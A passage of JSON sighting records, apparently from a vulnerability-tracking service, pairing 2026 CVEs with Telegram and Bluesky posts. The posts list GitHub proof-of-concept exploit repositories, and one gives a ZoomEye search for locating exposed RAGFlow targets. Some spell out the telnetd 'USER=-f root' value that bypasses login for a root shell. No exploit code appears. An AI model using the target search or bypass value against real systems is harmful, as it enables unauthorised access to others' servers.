3:16 p.m. | 1\u00a0hour, 58\u00a0minutes ago\n \n Description : An OS command injection vulnerability exists in the save_syslog_to_file() function of the \"httpd\" binary...", "creation_timestamp": "2026-07-08T18:07:19.136101Z"}, {"uuid": "1d554ee2-f308-434b-8cdf-4bcea6a156cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "seen", "source": "https://t.me/brutsecurity/2514", "content": "\ud83d\udea8 CVE-2026-24770: RAGFlow RCE (Zip Slip) Weaponized PoC\n\nCritical unauthenticated RCE in RAGFlow\u2019s MinerUParser\u2014attackers can execute arbitrary commands. 3,000+ instances are currently exposed.\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-24770\"\n\nDork: app=\"RAGFlow\" \ud83d\udc49 ZoomEye Search Link https://www.zoomeye.ai/searchResult?q=dnVsLmN2ZT0iQ1ZFLTIwMjYtMjQ3NzAi&utm_source=twitter&utm_medium=social&utm_campaign=cve_ops_20260209", "creation_timestamp": "2026-07-09T03:00:05.743223Z"}, {"uuid": "6ff203b2-b352-4ac3-8132-8a54c38d617b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/brutsecurity/2476", "content": "\u26a0\ufe0fCVE-2026-24061- telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\n\ud83d\ude08https://github.com/SafeBreach-Labs/CVE-2026-24061", "creation_timestamp": "2026-07-09T03:00:05.804192Z"}, {"uuid": "08a32462-5d91-446b-82f1-c483536b0e0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq74xqlwnh2v", "content": "CVE-2026-24118 - @rootio/vm2\nA security patch has been released for Root's VM2 package. This patch fixes a security issue that could have allowed unauthorized access to Root's systems. To stay secure, update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootio #Rootnpm #CVE #infosec", "creation_timestamp": "2026-07-09T07:40:04.382995Z"}, {"uuid": "a1cb440b-093d-4697-8d8b-86df01c50b3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq75g2ihwj2f", "content": "CVE-2026-24781 - @rootio/vm2\nA security patch has been released for the Root:npm @rootio/vm2 package. If left unpatched, this vulnerability could allow attackers to execute malicious code within virtual\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootio #Rootnpm #CVE #infosec", "creation_timestamp": "2026-07-09T07:48:04.292514Z"}, {"uuid": "3bd386e6-a012-4473-8015-413806982e30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2404", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-02", "content": "", "creation_timestamp": "2026-07-09T16:15:10.212202Z"}, {"uuid": "412787bf-1ced-4d28-9b64-6464052714f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2405", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-02", "content": "", "creation_timestamp": "2026-07-09T16:15:12.465956Z"}, {"uuid": "f15465b5-6a77-48e5-b6f0-2cf25560d1c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2403", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-02", "content": "", "creation_timestamp": "2026-07-09T16:15:14.761325Z"}, {"uuid": "144ff2be-290f-460e-a530-828fcb5c9a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2400", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-02", "content": "", "creation_timestamp": "2026-07-09T16:15:17.077141Z"}, {"uuid": "7dd43028-56f7-4abc-af65-6818449b093b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2401", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-02", "content": "", "creation_timestamp": "2026-07-09T16:15:19.297346Z"}, {"uuid": "94a6ab6f-69fe-4617-bd7e-8d418361e83c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2402", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-190-02", "content": "", "creation_timestamp": "2026-07-09T16:15:21.562244Z"}, {"uuid": "78bdbfb5-3832-4314-8be1-a27b4a7d5dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "published-proof-of-concept", "source": "Telegram/LmlXMJPccu58VvGU5aOjYbYbwZMsUyLpZXlM2w2Wis0P_HI", "content": "", "creation_timestamp": "2026-08-16T00:00:22.914922Z"}, {"uuid": "0fa9b52c-82ab-4a0f-b1cf-0316969f14ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "seen", "source": "https://t.me/brutsecurity/2514", "content": "\ud83d\udea8 CVE-2026-24770: RAGFlow RCE (Zip Slip) Weaponized PoC\n\nCritical unauthenticated RCE in RAGFlow\u2019s MinerUParser\u2014attackers can execute arbitrary commands. 3,000+ instances are currently exposed.\n\n\ud83d\udd0d Identify Targets via ZoomEye:\n\nFilter: vul.cve=\"CVE-2026-24770\"\n\nDork: app=\"RAGFlow\" \ud83d\udc49 ZoomEye Search Link https://www.zoomeye.ai/searchResult?q=dnVsLmN2ZT0iQ1ZFLTIwMjYtMjQ3NzAi&utm_source=twitter&utm_medium=social&utm_campaign=cve_ops_20260209", "creation_timestamp": "2026-07-10T00:00:13.066355Z"}, {"uuid": "4cfed433-1827-47ec-9178-33f9cfe9a89a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/brutsecurity/2476", "content": "\u26a0\ufe0fCVE-2026-24061- telnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\n\ud83d\ude08https://github.com/SafeBreach-Labs/CVE-2026-24061", "creation_timestamp": "2026-07-10T00:00:13.143379Z"}, {"uuid": "6cc4f38a-3a2b-4705-bc44-3f0b7f9837ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/29329", "content": "\ud83d\udd25 Recent RCE & Security Research Highlights\n\n1\ufe0f\u20e3 CVE-2025-11730 \u2013 Zyxel ATP/USG Series RCE\nRCE via DDNS configuration abuse in Zyxel ATP/USG firewalls.\nPoC demonstrates remote command execution through crafted DDNS requests.\n\ud83d\udc49 Critical network edge device vulnerability, high risk in enterprise environments.\n\nBlog : https://rainpwn.blog/blog/cve-2025-11730\nPoC : https://github.com/rainpwn/exploits/blob/main/zyxel/rainpwn_cve-2025-11730_ddns_rce.py\n\n\n2\ufe0f\u20e3 CVE-2026-25049 \u2013 n8n RCE (Deep Dive)\nRemote code execution in n8n workflow automation platform.\nAttackers can execute arbitrary commands via vulnerable workflow handling.\n\ud83d\udc49 High impact for CI/CD, automation, and internal tooling environments.\n\n\ud83d\udd17 https://blog.securelayer7.net/cve-2026-25049\n\n\n3\ufe0f\u20e3 The RCE That AMD Won\u2019t Fix\nTechnical analysis of an RCE-class vulnerability affecting AMD components.\nIssue remains unpatched due to architectural and vendor constraints.\n\ud83d\udc49 Long-term risk: unfixable bugs become permanent attack surface.\n\n\ud83d\udd17 https://web.archive.org/web/20260205155934/https://mrbruh.com/amd\n\n\n4\ufe0f\u20e3 CVE-2026-24858 \u2013 Fortinet FortiCloud SSO Admin Bypass\nAuthentication bypass allowing administrative access to FortiCloud SSO.\nSuccessful exploitation grants elevated privileges without valid credentials.\n\ud83d\udc49 Identity and access control failure \u2014 high-value target for attackers.\n\n\ud83d\udd17 https://github.com/absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass\n\n\n5\ufe0f\u20e3 CVE-2026-25587 / CVE-2026-25641 \u2013 SandboxJS Sandbox Escape\nSandbox escape vulnerabilities in SandboxJS leading to code execution.\nBreaks isolation guarantees intended to safely run untrusted JavaScript.\n\ud83d\udc49 Sandbox escapes often lead directly to full RCE chains.\n\n\ud83d\udd17 https://github.com/advisories/GHSA-66h4-qj4x-38xp\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\n\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:23.509928Z"}, {"uuid": "583dca50-366e-4368-8c9c-576cfdf3a0aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30246", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:35.545754Z"}, {"uuid": "3375dd7a-3003-448b-a1d7-eaba61e9fe5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97618", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-62737-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0p5cur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-11 18:51:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061's poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-11T20:00:04.304471Z"}, {"uuid": "473d3881-e703-4b3a-a685-60116ddc6af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31013", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real GitHub PoC repositories (strictly validated).\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-1668\n\ud83c\udfaf Firmware Exploit \u2013 Memory Corruption \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/tangrs/cve-2026-1668-poc\n\n\ud83e\udde0 Overview\nA firmware-level vulnerability enabling memory corruption and potential remote code execution. Active PoC confirms exploit feasibility.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Firmware compromise\n\u2022 Embedded system takeover\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/huseyinstif/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine enables arbitrary code execution inside the renderer via crafted HTML.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Browser exploitation vector\n\u2022 Potential sandbox escape chaining\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-25526\n\ud83c\udfaf Jinjava Template Engine \u2013 SSTI \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/av4nth1ka/jinjava-cve-2026-25526-poc\n\n\ud83e\udde0 Overview\nA Server-Side Template Injection vulnerability allowing attackers to execute arbitrary code via crafted template payloads.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Backend compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-26030\n\ud83c\udfaf Microsoft Semantic Kernel \u2013 RCE via Vector Store\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/mbanyamer/CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE\n\n\ud83e\udde0 Overview\nA vulnerability in Microsoft Semantic Kernel allows code execution via unsafe vector store handling. Public PoC confirms exploitability.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI / LLM pipeline compromise\n\u2022 Data processing abuse\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-34040\n\ud83c\udfaf Docker Engine \u2013 AuthZ Bypass \u2192 Privileged Container (RCE Chain)\n\n\ud83d\udd17 PoC / Exploit Context\n\u27a1\ufe0f https://github.com/moby/moby/security/advisories/GHSA-x744-4wpc-v9h2\n\n\ud83e\udde0 Overview\nA critical authorization bypass in Docker Engine allows attackers to bypass security plugins by sending oversized HTTP requests. The request body is truncated before validation, enabling malicious container creation with elevated privileges.\n\n\u2699\ufe0f Impact\n\u2022 Authorization bypass\n\u2022 Privileged container creation (root access)\n\u2022 Full host compromise via container escape\n\u2022 CI/CD & cloud infrastructure risk\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Firmware exploitation techniques\n\u2022 Browser memory corruption exploitation\n\u2022 SSTI \u2192 backend RCE chains\n\u2022 AI/LLM framework attack surface\n\u2022 Modern web framework bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Strict PoC validation required (fake links increasing)\n\u2022 Browser & AI-related vulnerabilities rising\n\u2022 RCE chains often start from logic bypass\n\u2022 Real exploit repos are limited but high quality\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:25.136017Z"}, {"uuid": "17cd9546-2e12-4ed5-9eab-50b5ed475c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31014", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real GitHub PoC repositories (strictly validated).\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-1668\n\ud83c\udfaf Firmware Exploit \u2013 Memory Corruption \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/tangrs/cve-2026-1668-poc\n\n\ud83e\udde0 Overview\nA firmware-level vulnerability enabling memory corruption and potential remote code execution. Active PoC confirms exploit feasibility.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Firmware compromise\n\u2022 Embedded system takeover\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/huseyinstif/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine enables arbitrary code execution inside the renderer via crafted HTML.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Browser exploitation vector\n\u2022 Potential sandbox escape chaining\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-25526\n\ud83c\udfaf Jinjava Template Engine \u2013 SSTI \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/av4nth1ka/jinjava-cve-2026-25526-poc\n\n\ud83e\udde0 Overview\nA Server-Side Template Injection vulnerability allowing attackers to execute arbitrary code via crafted template payloads.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Backend compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-26030\n\ud83c\udfaf Microsoft Semantic Kernel \u2013 RCE via Vector Store\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/mbanyamer/CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE\n\n\ud83e\udde0 Overview\nA vulnerability in Microsoft Semantic Kernel allows code execution via unsafe vector store handling. Public PoC confirms exploitability.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI / LLM pipeline compromise\n\u2022 Data processing abuse\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-34040\n\ud83c\udfaf Docker Engine \u2013 AuthZ Bypass \u2192 Privileged Container (RCE Chain)\n\n\ud83d\udd17 PoC / Exploit Context\n\u27a1\ufe0f https://github.com/moby/moby/security/advisories/GHSA-x744-4wpc-v9h2\n\n\ud83e\udde0 Overview\nA critical authorization bypass in Docker Engine allows attackers to bypass security plugins by sending oversized HTTP requests. The request body is truncated before validation, enabling malicious container creation with elevated privileges.\n\n\u2699\ufe0f Impact\n\u2022 Authorization bypass\n\u2022 Privileged container creation (root access)\n\u2022 Full host compromise via container escape\n\u2022 CI/CD & cloud infrastructure risk\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Firmware exploitation techniques\n\u2022 Browser memory corruption exploitation\n\u2022 SSTI \u2192 backend RCE chains\n\u2022 AI/LLM framework attack surface\n\u2022 Modern web framework bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Strict PoC validation required (fake links increasing)\n\u2022 Browser & AI-related vulnerabilities rising\n\u2022 RCE chains often start from logic bypass\n\u2022 Real exploit repos are limited but high quality\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:25.413203Z"}, {"uuid": "072c6bb3-2d38-4107-aa13-d4406c22f598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24270", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mstga2rj4c26", "content": "\u5206\u6563\u30b9\u30c8\u30ec\u30fc\u30b8\u57fa\u76e4\u300cNVIDIA AIStore Framework\u300d\u306b\u8106\u5f31\u6027\n\nNVIDIA\u304c\u63d0\u4f9b\u3059\u308b\u5206\u6563\u30b9\u30c8\u30ec\u30fc\u30b8\u57fa\u76e4\u300cNVIDIA AIStore Framework\u300d\u306b\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u73fe\u5730\u6642\u95932026\u5e746\u670830\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u8003\u53e4\u611b\u3057\u3001\u8106\u5f31\u6027\u300cCVE-2026-24270\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\u3059\u3079\u3066\u306e\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u304c\u5bfe\u8c61\u3068\u306a\u308b\u3002\n\n\u8a8d\u8a3c\u51e6\u7406\u3092\u56de\u907f\u3067\u304d\u308b\u8106\u5f31\u6027\u3068\u3057\u3066\u304a\u308a\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7d4c\u7531\u3067\u653b\u6483\u304c\u53ef\u80fd\u3002\u60aa\u7528\u3055\u308c\u305f\u5834\u5408\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u3084\u6a29\u9650\u306e\u6607\u683c\u3001\u6a5f\u5bc6\u60c5\u5831\u306e\u6f0f\u6d29\u3001\u30c7\u30fc\u30bf\u306e\u6539\u3056\u3093\u304c\u751f\u3058\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002", "creation_timestamp": "2026-08-11T20:09:24.505942Z"}, {"uuid": "fd6d9968-8d48-4a0f-91a8-deb99c2fc379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30117", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution 